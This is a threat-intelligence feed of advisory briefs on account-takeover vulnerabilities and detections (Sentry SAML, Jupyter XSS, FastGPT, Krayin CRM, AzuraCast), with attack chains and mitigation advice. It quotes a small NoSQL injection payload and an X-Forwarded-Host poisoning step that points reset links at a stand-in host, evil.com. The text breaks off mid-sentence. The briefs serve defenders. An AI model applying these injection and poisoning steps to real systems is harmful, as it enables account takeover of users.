{"description":"Trending threats, MITRE ATT\u0026CK coverage, and detection metadata — refreshed continuously.","feed_url":"https://feed.craftedsignal.io/tags/account-takeover/","home_page_url":"https://feed.craftedsignal.io/","items":[{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Elastic Security"],"_cs_severities":["medium"],"_cs_tags":["account-takeover","credential-access","windows"],"_cs_type":"advisory","_cs_vendors":["Elastic"],"content_html":"\u003cp\u003eThis detection rule identifies potential account takeover activity by analyzing Windows Security Event Logs for unusual login patterns. Specifically, it looks for user accounts that typically log in with high frequency from a single source IP address but then exhibit successful logins from a different source IP address with significantly lower frequency. This pattern may indicate that an attacker has compromised the account credentials and is accessing the network from a new, potentially malicious, location. This activity is detected by analyzing Windows Security Event ID 4624 events related to successful logins. The rule is designed to trigger when a user account logs in from a new IP address after establishing a pattern of high-volume logins from a primary IP address.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eInitial Access:\u003c/strong\u003e The attacker gains access to valid user credentials through methods such as phishing, credential stuffing, or malware. (T1078)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSuccessful Logon:\u003c/strong\u003e The attacker uses the compromised credentials to successfully log in to a Windows system from a new IP address (Event ID 4624, Logon Type Network/RemoteInteractive).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eLateral Movement (Possible):\u003c/strong\u003e Once authenticated, the attacker may attempt to move laterally within the network to access additional resources or systems.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePrivilege Escalation (Possible):\u003c/strong\u003e The attacker may attempt to escalate their privileges to gain administrative access to the system or domain (TA0004).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eData Exfiltration (Possible):\u003c/strong\u003e The attacker may attempt to exfiltrate sensitive data from the compromised system or network.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePersistence (Possible):\u003c/strong\u003e The attacker may attempt to establish persistence mechanisms to maintain access to the system or network over time.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful account takeover can have significant consequences, including unauthorized access to sensitive data, lateral movement within the network, privilege escalation, and data exfiltration. The rule specifically looks for logon patterns indicative of account takeover. If an account is taken over, attackers could potentially gain access to systems and data the user has rights to access.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule provided below to your SIEM and tune for your environment, paying close attention to the \u003ccode\u003emax_logon\u003c/code\u003e threshold.\u003c/li\u003e\n\u003cli\u003eEnable Audit Logon within Windows to ensure the events needed for detection are available as mentioned in the setup instructions.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts generated by the Sigma rule by confirming with the account owner if they logged in from the new source IP.\u003c/li\u003e\n\u003cli\u003eCheck the new source IP for reputation, geography, and whether it is expected as described in the rule\u0026rsquo;s triage steps.\u003c/li\u003e\n\u003cli\u003eCorrelate any generated alerts with other alerts for the same user or source IP such as logon failures, password changes, or MFA changes as part of your investigation.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-05-04T14:17:05Z","date_published":"2026-05-04T14:17:05Z","id":"/briefs/2024-01-account-takeover-new-source-ip/","summary":"The rule identifies a user account that normally logs in with high volume from one source IP suddenly logging in from a different source IP, potentially indicating account takeover or use of stolen credentials from a new location.","title":"Potential Account Takeover - Logon from New Source IP","url":"https://feed.craftedsignal.io/briefs/2024-01-account-takeover-new-source-ip/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["sentry","Sentry SaaS"],"_cs_severities":["medium"],"_cs_tags":["authentication","saml","sso","account takeover","vulnerability"],"_cs_type":"advisory","_cs_vendors":["Sentry"],"content_html":"\u003cp\u003eA critical vulnerability, CVE-2026-42354, has been identified in the SAML Single Sign-On (SSO) implementation of Sentry, potentially allowing an attacker to compromise user accounts. This vulnerability stems from improper authentication during the SAML SSO process, leading to the possibility of user identity linking. The vulnerability affects Sentry versions 21.12.0 up to and including 26.4.0. To exploit this vulnerability, an attacker requires a malicious SAML Identity Provider and access to another organization within the same Sentry instance, coupled with knowledge of the victim\u0026rsquo;s email address. This attack vector poses a significant risk to self-hosted Sentry instances that are configured with multiple organizations (SENTRY_SINGLE_ORGANIZATION = False), where a malicious user possesses the necessary permissions to modify SSO settings for a different organization. Sentry SaaS has already been patched in April.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker gains access to a Sentry instance that has multiple organizations configured.\u003c/li\u003e\n\u003cli\u003eThe attacker obtains permissions to modify the SAML SSO settings of at least one organization within the Sentry instance.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious SAML Identity Provider (IdP) designed to inject or manipulate user identity attributes.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the malicious SAML IdP to initiate a single sign-on (SSO) process to a Sentry organization they control.\u003c/li\u003e\n\u003cli\u003eThe attacker provides the email address of the targeted victim, linking the victim\u0026rsquo;s identity in the Sentry instance to the malicious SAML IdP.\u003c/li\u003e\n\u003cli\u003eThe victim attempts to log in to their Sentry account through SAML SSO.\u003c/li\u003e\n\u003cli\u003eDue to the vulnerability, Sentry incorrectly authenticates the victim based on the attributes provided by the attacker\u0026rsquo;s malicious SAML IdP.\u003c/li\u003e\n\u003cli\u003eThe attacker successfully takes over the victim\u0026rsquo;s account, gaining access to sensitive data and functionalities associated with the victim\u0026rsquo;s privileges.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability can lead to complete account takeover, resulting in unauthorized access to sensitive project data, configuration settings, and potentially even administrative privileges within the Sentry instance. This poses a substantial risk to organizations using vulnerable Sentry versions, as attackers could exfiltrate sensitive information, modify configurations, or disrupt services. The impact is particularly severe for self-hosted Sentry instances with multiple organizations, where a single compromised account could lead to broader access across the entire platform.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade self-hosted Sentry instances to version 26.4.1 or higher to patch CVE-2026-42354.\u003c/li\u003e\n\u003cli\u003eEnable user account-based two-factor authentication (2FA) for all Sentry accounts as a preventative measure, as mentioned in the Workarounds section.\u003c/li\u003e\n\u003cli\u003eMonitor Sentry audit logs for any unauthorized changes to SAML SSO configurations, particularly within multi-organization setups, to detect potential exploitation attempts.\u003c/li\u003e\n\u003cli\u003eReview and restrict permissions for modifying SSO settings across all organizations to minimize the attack surface, as described in the Overview.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-30T20:45:20Z","date_published":"2026-04-30T20:45:20Z","id":"/briefs/2026-05-sentry-saml-takeover/","summary":"A critical vulnerability (CVE-2026-42354) exists in Sentry's SAML SSO implementation that allows an attacker to take over any user account by using a malicious SAML Identity Provider and another organization on the same Sentry instance, affecting self-hosted users with multiple organizations configured if a malicious user has permissions to modify SSO settings, while Sentry SaaS was patched in April and self-hosted users are advised to upgrade to version 26.4.1 or higher.","title":"Sentry SAML SSO Improper Authentication Allows User Identity Linking","url":"https://feed.craftedsignal.io/briefs/2026-05-sentry-saml-takeover/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["@jupyter-notebook/help-extension","notebook","jupyterlab","@jupyterlab/help-extension","Jupyter Notebook"],"_cs_severities":["high"],"_cs_tags":["xss","jupyter","authentication","account-takeover","vulnerability"],"_cs_type":"advisory","_cs_vendors":["Jupyter","NVIDIA"],"content_html":"\u003cp\u003eA stored Cross-Site Scripting (XSS) vulnerability has been identified in Jupyter Notebook and JupyterLab, impacting versions 7.0.0 through 7.5.5 of Jupyter Notebook and versions up to 4.5.6 of JupyterLab. Discovered by Daniel Teixeira of the NVIDIA AI Red Team, this flaw allows an attacker to craft malicious notebook files containing XSS payloads embedded within the command linker functionality. When a user opens and interacts with these files, the injected script executes, potentially stealing the user\u0026rsquo;s authentication token. Successful exploitation grants the attacker full control over the user\u0026rsquo;s Jupyter account, enabling them to read, modify, and create files, execute arbitrary code via running kernels, and establish shell access through created terminals. This vulnerability poses a significant risk to data confidentiality, integrity, and system availability.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker crafts a malicious Jupyter Notebook file containing a stored XSS payload within the command linker functionality.\u003c/li\u003e\n\u003cli\u003eThe attacker distributes the malicious notebook file to a target user (e.g., via email, shared repository, or compromised website).\u003c/li\u003e\n\u003cli\u003eThe victim opens the malicious notebook file in a vulnerable version of Jupyter Notebook or JupyterLab.\u003c/li\u003e\n\u003cli\u003eThe victim interacts with a seemingly legitimate control element within the notebook that is, in fact, part of the XSS payload.\u003c/li\u003e\n\u003cli\u003eThe injected XSS code executes in the victim\u0026rsquo;s browser, stealing their authentication token.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the stolen authentication token to authenticate to the Jupyter REST API.\u003c/li\u003e\n\u003cli\u003eThe attacker gains complete control over the victim\u0026rsquo;s Jupyter account.\u003c/li\u003e\n\u003cli\u003eThe attacker performs malicious actions, such as reading files, modifying files, executing arbitrary code, or creating terminals for shell access.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this XSS vulnerability enables complete account takeover, allowing attackers to read, modify, and create files, access running kernels and execute arbitrary code, and create terminals for shell access within the victim\u0026rsquo;s Jupyter environment. This can lead to data exfiltration, code injection, and potential compromise of sensitive information stored within the Jupyter Notebook environment. Given the widespread use of Jupyter Notebook in data science, machine learning, and research environments, this vulnerability can have far-reaching consequences for individuals and organizations relying on these tools.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImmediately upgrade Jupyter Notebook to version 7.5.6 or later, and JupyterLab to version 4.5.7 or later to patch CVE-2026-40171.\u003c/li\u003e\n\u003cli\u003eApply the workaround to disable the help extension via CLI as specified in the advisory to mitigate the vulnerability until patching is possible.\u003c/li\u003e\n\u003cli\u003eImplement the hardening measure by disabling the command linker functionality via \u003ccode\u003eoverrides.json\u003c/code\u003e to prevent XSS attacks, referencing the configuration details in the advisory.\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Detect Jupyter Notebook CommandLinker XSS Attempt\u0026rdquo; to detect potential exploitation attempts based on specific HTTP request characteristics.\u003c/li\u003e\n\u003cli\u003eEducate users about the risks of opening untrusted Jupyter Notebook files and interacting with potentially malicious content.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-30T17:25:47Z","date_published":"2026-04-30T17:25:47Z","id":"/briefs/2024-01-30-jupyter-xss/","summary":"A stored Cross-Site Scripting (XSS) vulnerability in Jupyter Notebook versions 7.0.0 through 7.5.5 and JupyterLab versions up to 4.5.6 allows attackers to steal authentication tokens by tricking users into interacting with malicious notebook files, leading to complete account takeover via the Jupyter REST API.","title":"Jupyter Notebook Authentication Token Theft via CommandLinker XSS","url":"https://feed.craftedsignal.io/briefs/2024-01-30-jupyter-xss/"},{"_cs_actors":[],"_cs_cves":[{"cvss":9.1,"id":"CVE-2026-27197"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["critical"],"_cs_tags":["sentry","saml","sso","authentication","account-takeover"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eA critical vulnerability (CVE-2026-27197) has been identified in the SAML Single Sign-On (SSO) implementation within Sentry, a popular error tracking and performance monitoring platform. This vulnerability allows a malicious actor to potentially take over user accounts by leveraging a rogue SAML Identity Provider (IdP) in conjunction with another organization configured within the same Sentry instance. The attacker needs to know the victim\u0026rsquo;s email address for successful exploitation. This flaw primarily impacts self-hosted Sentry deployments with multiple organizations enabled (SENTRY_SINGLE_ORGANIZATION = False) and where a malicious user possesses the ability to modify SSO settings for another organization. Sentry SaaS was patched on February 18, 2026. Self-hosted users should upgrade to version 26.2.0 or later to remediate this vulnerability.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker gains access to a Sentry instance that hosts multiple organizations. This could be through compromised credentials or other initial access vectors.\u003c/li\u003e\n\u003cli\u003eThe attacker identifies a target user\u0026rsquo;s email address within the Sentry instance.\u003c/li\u003e\n\u003cli\u003eThe attacker gains permissions to modify SSO settings for an organization within the Sentry instance.\u003c/li\u003e\n\u003cli\u003eThe attacker configures a malicious SAML Identity Provider (IdP) for the organization they control. This IdP is designed to spoof user identities.\u003c/li\u003e\n\u003cli\u003eThe victim attempts to log in to Sentry via SAML SSO.\u003c/li\u003e\n\u003cli\u003eSentry redirects the victim to the attacker\u0026rsquo;s malicious SAML IdP for authentication.\u003c/li\u003e\n\u003cli\u003eThe attacker\u0026rsquo;s malicious SAML IdP asserts the victim\u0026rsquo;s identity (using the known email address) to Sentry, but the assertion is illegitimate and controlled by the attacker.\u003c/li\u003e\n\u003cli\u003eSentry, due to the vulnerability, improperly validates the SAML assertion, allowing the attacker to successfully authenticate as the victim and gain unauthorized access to their account.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability allows an attacker to completely take over a targeted user\u0026rsquo;s Sentry account. This grants the attacker the ability to access sensitive project data, modify configurations, invite/remove team members, and potentially disrupt the entire Sentry instance\u0026rsquo;s operations. The vulnerability affects Sentry versions 21.12.0 up to, but not including, 26.2.0. The number of potential victims depends on the number of vulnerable Sentry instances with multiple organizations configured and the attacker\u0026rsquo;s ability to modify SSO settings.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade self-hosted Sentry instances to version 26.2.0 or later to patch CVE-2026-27197.\u003c/li\u003e\n\u003cli\u003eEnable two-factor authentication (2FA) on all Sentry accounts. Users can manage this in Account Settings \u0026gt; Security, as mentioned in the \u003ca href=\"https://sentry.zendesk.com/hc/en-us/articles/46773315774235-How-do-I-enable-two-factor-authentication-2FA-on-my-Sentry-account\"\u003ehelpdesk article\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eMonitor Sentry logs for unusual SSO configuration changes, specifically modifications to SAML Identity Provider settings. Deploy a rule that detects modifications to the \u003ccode\u003eSENTRY_SINGLE_ORGANIZATION\u003c/code\u003e setting, as this is a prerequisite for exploitation.\u003c/li\u003e\n\u003cli\u003eImplement the Sigma rule \u003ccode\u003eDetect Suspicious SAML Authentication\u003c/code\u003e to identify potential unauthorized SAML authentication attempts based on unusual IP addresses or user agents.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-18T12:00:00Z","date_published":"2026-04-18T12:00:00Z","id":"/briefs/2026-04-sentry-saml-sso-takeover/","summary":"A critical vulnerability in Sentry's SAML SSO implementation allows account takeover by exploiting improper authentication when multiple organizations are configured, affecting versions 21.12.0 to 26.2.0 and requiring a malicious SAML Identity Provider and knowledge of the victim's email address.","title":"Sentry SAML SSO Improper Authentication Vulnerability","url":"https://feed.craftedsignal.io/briefs/2026-04-sentry-saml-sso-takeover/"},{"_cs_actors":[],"_cs_cves":[{"cvss":8.8,"id":"CVE-2026-40352"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["high"],"_cs_tags":["nosql-injection","account-takeover","cve","fastgpt","privilege-escalation"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eFastGPT, an AI Agent building platform, is susceptible to a critical NoSQL injection vulnerability affecting versions before 4.14.9.5. The flaw resides within the password change endpoint, enabling an authenticated attacker to circumvent the necessary \u0026ldquo;old password\u0026rdquo; verification process. By injecting MongoDB query operators, an attacker with an existing, low-privileged session can manipulate password changes for their own account, or potentially other accounts if combined with ID manipulation techniques. This exploit leads to full account takeover, allowing attackers to maintain persistence and potentially compromise sensitive data. This vulnerability has been patched in version 4.14.9.5, urging users to upgrade immediately.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains initial access to a FastGPT account with low privileges through legitimate means (e.g., registration or stolen credentials).\u003c/li\u003e\n\u003cli\u003eAttacker navigates to the password change endpoint within the FastGPT application.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious request to the password change endpoint, injecting MongoDB query operators into the \u0026ldquo;old password\u0026rdquo; field. For example, using a payload like \u003ccode\u003e{$ne: \u0026quot;legitimate_old_password\u0026quot;}\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe application\u0026rsquo;s backend improperly processes the injected query operators, failing to correctly validate the old password against the stored hash.\u003c/li\u003e\n\u003cli\u003eThe attacker provides a new password and confirms it within the crafted request.\u003c/li\u003e\n\u003cli\u003eThe FastGPT application updates the account\u0026rsquo;s password in the database, replacing the original password with the attacker-controlled value.\u003c/li\u003e\n\u003cli\u003eThe attacker logs out and logs back in using the newly set password, gaining full control of the compromised account.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages the compromised account to access sensitive data, modify configurations, or perform other malicious activities within the FastGPT platform.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability allows attackers to take complete control of FastGPT accounts. The consequences range from unauthorized access to sensitive data and configurations to potential manipulation of AI agent behavior. This account takeover can lead to data breaches, service disruption, and reputational damage. While the specific number of victims is unknown, any FastGPT instance running a version prior to 4.14.9.5 is vulnerable, potentially affecting a wide range of users and organizations. The CVSS v3.1 base score of 8.8 highlights the severity of this issue.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImmediately upgrade all FastGPT installations to version 4.14.9.5 or later to patch the NoSQL injection vulnerability (CVE-2026-40352).\u003c/li\u003e\n\u003cli\u003eImplement the Sigma rule \u003ccode\u003eDetect FastGPT Password Reset Bypass\u003c/code\u003e to detect potential exploitation attempts against the password change endpoint.\u003c/li\u003e\n\u003cli\u003eReview FastGPT webserver logs for unusual patterns or MongoDB query operators within requests to the password change endpoint to identify potential compromises.\u003c/li\u003e\n\u003cli\u003eEnable and review detailed webserver logging for FastGPT to increase visibility into HTTP requests.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-17T22:16:32Z","date_published":"2026-04-17T22:16:32Z","id":"/briefs/2026-04-fastgpt-nosql/","summary":"FastGPT versions prior to 4.14.9.5 are vulnerable to NoSQL injection in the password change endpoint, allowing authenticated attackers to bypass password verification and perform account takeover.","title":"FastGPT NoSQL Injection Vulnerability in Password Change Endpoint","url":"https://feed.craftedsignal.io/briefs/2026-04-fastgpt-nosql/"},{"_cs_actors":[],"_cs_cves":[{"cvss":8.8,"id":"CVE-2026-38529"}],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["critical"],"_cs_tags":["bola","cve-2026-38529","krayin-crm","account-takeover"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eCVE-2026-38529 describes a Broken Object-Level Authorization (BOLA) vulnerability affecting Webkul Krayin CRM version 2.2.x. The vulnerability resides in the \u003ccode\u003e/Settings/UserController.php\u003c/code\u003e endpoint. An authenticated attacker can exploit this flaw by sending a crafted HTTP request. Successful exploitation allows the attacker to arbitrarily reset the passwords of other users, leading to complete account takeover. Given the potential for widespread compromise and data breaches, this vulnerability poses a critical risk to organizations using the affected Krayin CRM version. Publicly available information regarding exploitation is available on GitHub.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker authenticates to the Krayin CRM application with valid credentials.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious HTTP request targeting the \u003ccode\u003e/Settings/UserController.php\u003c/code\u003e endpoint.\u003c/li\u003e\n\u003cli\u003eThe crafted request is designed to reset the password of a target user, specifying the target user\u0026rsquo;s ID.\u003c/li\u003e\n\u003cli\u003eDue to the BOLA vulnerability, the application fails to properly validate if the authenticated user has the authorization to modify the target user\u0026rsquo;s password.\u003c/li\u003e\n\u003cli\u003eThe application resets the target user\u0026rsquo;s password using the attacker-supplied data.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the new password to log in to the target user\u0026rsquo;s account.\u003c/li\u003e\n\u003cli\u003eThe attacker gains full control over the target user\u0026rsquo;s account and data.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of CVE-2026-38529 allows attackers to compromise user accounts within a Webkul Krayin CRM v2.2.x instance. This can lead to unauthorized access to sensitive customer data, business records, and other confidential information. A successful attack could result in data breaches, financial loss, reputational damage, and legal liabilities. Given the potential for complete account takeover, the impact is considered critical for organizations using the vulnerable CRM.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eApply the patch or upgrade to a secure version of Krayin CRM that addresses CVE-2026-38529 as soon as it becomes available.\u003c/li\u003e\n\u003cli\u003eImplement the Sigma rule \u003ccode\u003eDetect Krayin CRM Password Reset via UserController\u003c/code\u003e to detect exploitation attempts targeting the vulnerable endpoint.\u003c/li\u003e\n\u003cli\u003eReview and enforce strict access control policies within the Krayin CRM application to prevent unauthorized modification of user accounts.\u003c/li\u003e\n\u003cli\u003eMonitor web server logs for suspicious activity targeting the \u003ccode\u003e/Settings/UserController.php\u003c/code\u003e endpoint.\u003c/li\u003e\n\u003cli\u003eEnable web server logging to capture detailed information about HTTP requests, including request parameters.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2026-04-14T16:16:43Z","date_published":"2026-04-14T16:16:43Z","id":"/briefs/2026-04-krayin-bola/","summary":"CVE-2026-38529 is a Broken Object-Level Authorization (BOLA) vulnerability in Webkul Krayin CRM v2.2.x that allows authenticated attackers to reset user passwords and take over accounts.","title":"Webkul Krayin CRM BOLA Vulnerability (CVE-2026-38529)","url":"https://feed.craftedsignal.io/briefs/2026-04-krayin-bola/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["critical"],"_cs_tags":["cve-2026-5128","steam-trader","information-disclosure","credential-access","account-takeover"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eCVE-2026-5128 identifies a critical vulnerability in version 2.1.1 of the ArthurFiorette steam-trader application. This is a sensitive information exposure issue stemming from two main sources: direct access to the /users API endpoint and insecure logging practices. The vulnerable application, designed for managing Steam trading activities, inadvertently leaks highly sensitive user credentials. As the steam-trader repository is archived and no longer maintained, no patch is available, leaving…\u003c/p\u003e\n","date_modified":"2026-03-30T10:16:02Z","date_published":"2026-03-30T10:16:02Z","id":"/briefs/2024-01-steam-trader-cve/","summary":"CVE-2026-5128 exposes sensitive Steam account data via the /users API endpoint and logs in ArthurFiorette steam-trader 2.1.1, allowing account takeover.","title":"ArthurFiorette steam-trader 2.1.1 Sensitive Information Exposure","url":"https://feed.craftedsignal.io/briefs/2024-01-steam-trader-cve/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":[],"_cs_severities":["medium"],"_cs_tags":["account-takeover","privilege-escalation","windows"],"_cs_type":"advisory","_cs_vendors":["Elastic"],"content_html":"\u003cp\u003eThis detection identifies a user account, often a service account, that typically logs in with high volume using a specific logon type but suddenly shows successful logons using a different logon type with low count. This anomalous behavior may signal account takeover or the use of stolen credentials from a new context, such as an interactive or network logon when only batch/service logons were expected. This is critical for defenders as compromised service accounts can lead to privilege escalation and lateral movement within the network. The detection logic is based on Windows Security Event Logs (Event ID 4624).\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eInitial Access: An attacker gains access to a valid user account\u0026rsquo;s credentials.\u003c/li\u003e\n\u003cli\u003eCredential Compromise: The attacker compromises a service account\u0026rsquo;s credentials.\u003c/li\u003e\n\u003cli\u003eLateral Movement: The attacker attempts to move laterally within the network using the compromised credentials.\u003c/li\u003e\n\u003cli\u003eAuthentication: The attacker uses the stolen credentials to authenticate to a system using a previously unseen logon type.\u003c/li\u003e\n\u003cli\u003ePrivilege Escalation: The attacker leverages the service account permissions to escalate privileges.\u003c/li\u003e\n\u003cli\u003eResource Access: The attacker accesses sensitive resources using the compromised account.\u003c/li\u003e\n\u003cli\u003eData Exfiltration: The attacker exfiltrates sensitive data.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful account takeover can lead to significant damage, including data breaches, privilege escalation, and lateral movement within the network. If a service account is compromised, attackers can gain access to sensitive systems and data, potentially affecting hundreds or thousands of users or systems. The shift in logon types often goes unnoticed, enabling attackers to maintain persistence.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eEnable Audit Logon to generate the necessary events for detection (reference: Setup section in content).\u003c/li\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;Potential Account Takeover - Mixed Logon Types\u0026rdquo; to your SIEM and tune the thresholds (max_logon, min_logon) based on your environment.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts generated by the Sigma rule by confirming with the account owner or service owner whether the additional logon type is expected (reference: Investigation Guide section).\u003c/li\u003e\n\u003cli\u003eImplement multi-factor authentication (MFA) for all user accounts, including service accounts, to mitigate the risk of credential compromise.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-30T12:00:00Z","date_published":"2024-01-30T12:00:00Z","id":"/briefs/2024-01-mixed-logon-types/","summary":"A Windows account, usually a service account, exhibiting a sudden shift in logon type patterns may indicate account compromise and lateral movement.","title":"Potential Account Takeover via Mixed Logon Types","url":"https://feed.craftedsignal.io/briefs/2024-01-mixed-logon-types/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["azuracast","nginx","azuracast/azuracast (\u003c= 0.23.5)"],"_cs_severities":["medium"],"_cs_tags":["account takeover","x-forwarded-host","password reset poisoning"],"_cs_type":"advisory","_cs_vendors":["nginx","composer"],"content_html":"\u003cp\u003eAzuraCast versions 0.23.5 and earlier are vulnerable to an account takeover vulnerability stemming from the unconditional trust of the \u003ccode\u003eX-Forwarded-Host\u003c/code\u003e HTTP header. An unauthenticated attacker can exploit this by injecting a malicious hostname into the password reset URL sent to a user. This is achieved by sending a crafted request to the \u003ccode\u003e/forgot\u003c/code\u003e endpoint with the \u003ccode\u003eX-Forwarded-Host\u003c/code\u003e header set to a domain controlled by the attacker. The victim, upon clicking the poisoned link in the reset email, inadvertently sends their password reset token to the attacker\u0026rsquo;s server. This allows the attacker to reset the victim\u0026rsquo;s password and disable their two-factor authentication, gaining complete control of the account. This vulnerability exists because the \u003ccode\u003eApplyXForwarded\u003c/code\u003e middleware doesn\u0026rsquo;t validate the \u003ccode\u003eX-Forwarded-Host\u003c/code\u003e header against a trusted proxy allowlist and the application uses the request host for generating security-critical URLs.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker crafts a POST request to the \u003ccode\u003e/forgot\u003c/code\u003e endpoint with the \u003ccode\u003eX-Forwarded-Host\u003c/code\u003e header set to a malicious domain (e.g., \u003ccode\u003eevil.com\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eThe AzuraCast application generates a password reset email containing a poisoned URL with the attacker\u0026rsquo;s domain.\u003c/li\u003e\n\u003cli\u003eThe victim receives the password reset email and clicks on the malicious link, sending a GET request to the attacker\u0026rsquo;s domain, inadvertently leaking the password reset token.\u003c/li\u003e\n\u003cli\u003eThe attacker\u0026rsquo;s server captures the password reset token from the URL path.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the captured token to access the password reset page on the legitimate AzuraCast instance.\u003c/li\u003e\n\u003cli\u003eThe attacker obtains a CSRF token from the reset page.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a POST request to the password reset endpoint on the real AzuraCast instance, including the CSRF token and a new password.\u003c/li\u003e\n\u003cli\u003eThe victim\u0026rsquo;s password is changed, and their 2FA is disabled, granting the attacker full account access.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this vulnerability allows for full account takeover of any user, including administrators, without prior authentication. The attack also bypasses 2FA, negating its security benefits. If an administrator account is compromised, the attacker gains full control of the AzuraCast instance, including all stations, media, and system settings. The attack requires the victim to click a link in a legitimate-looking password reset email, increasing the likelihood of success. This can lead to unauthorized access to sensitive data, disruption of service, and reputational damage.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImplement a trusted proxy allowlist in \u003ccode\u003ebackend/src/Middleware/ApplyXForwarded.php\u003c/code\u003e to validate the \u003ccode\u003eX-Forwarded-Host\u003c/code\u003e header, as described in the provided fix, to prevent hostname injection (Fix 1).\u003c/li\u003e\n\u003cli\u003eModify \u003ccode\u003eForgotPasswordAction.php\u003c/code\u003e to generate the reset URL using the 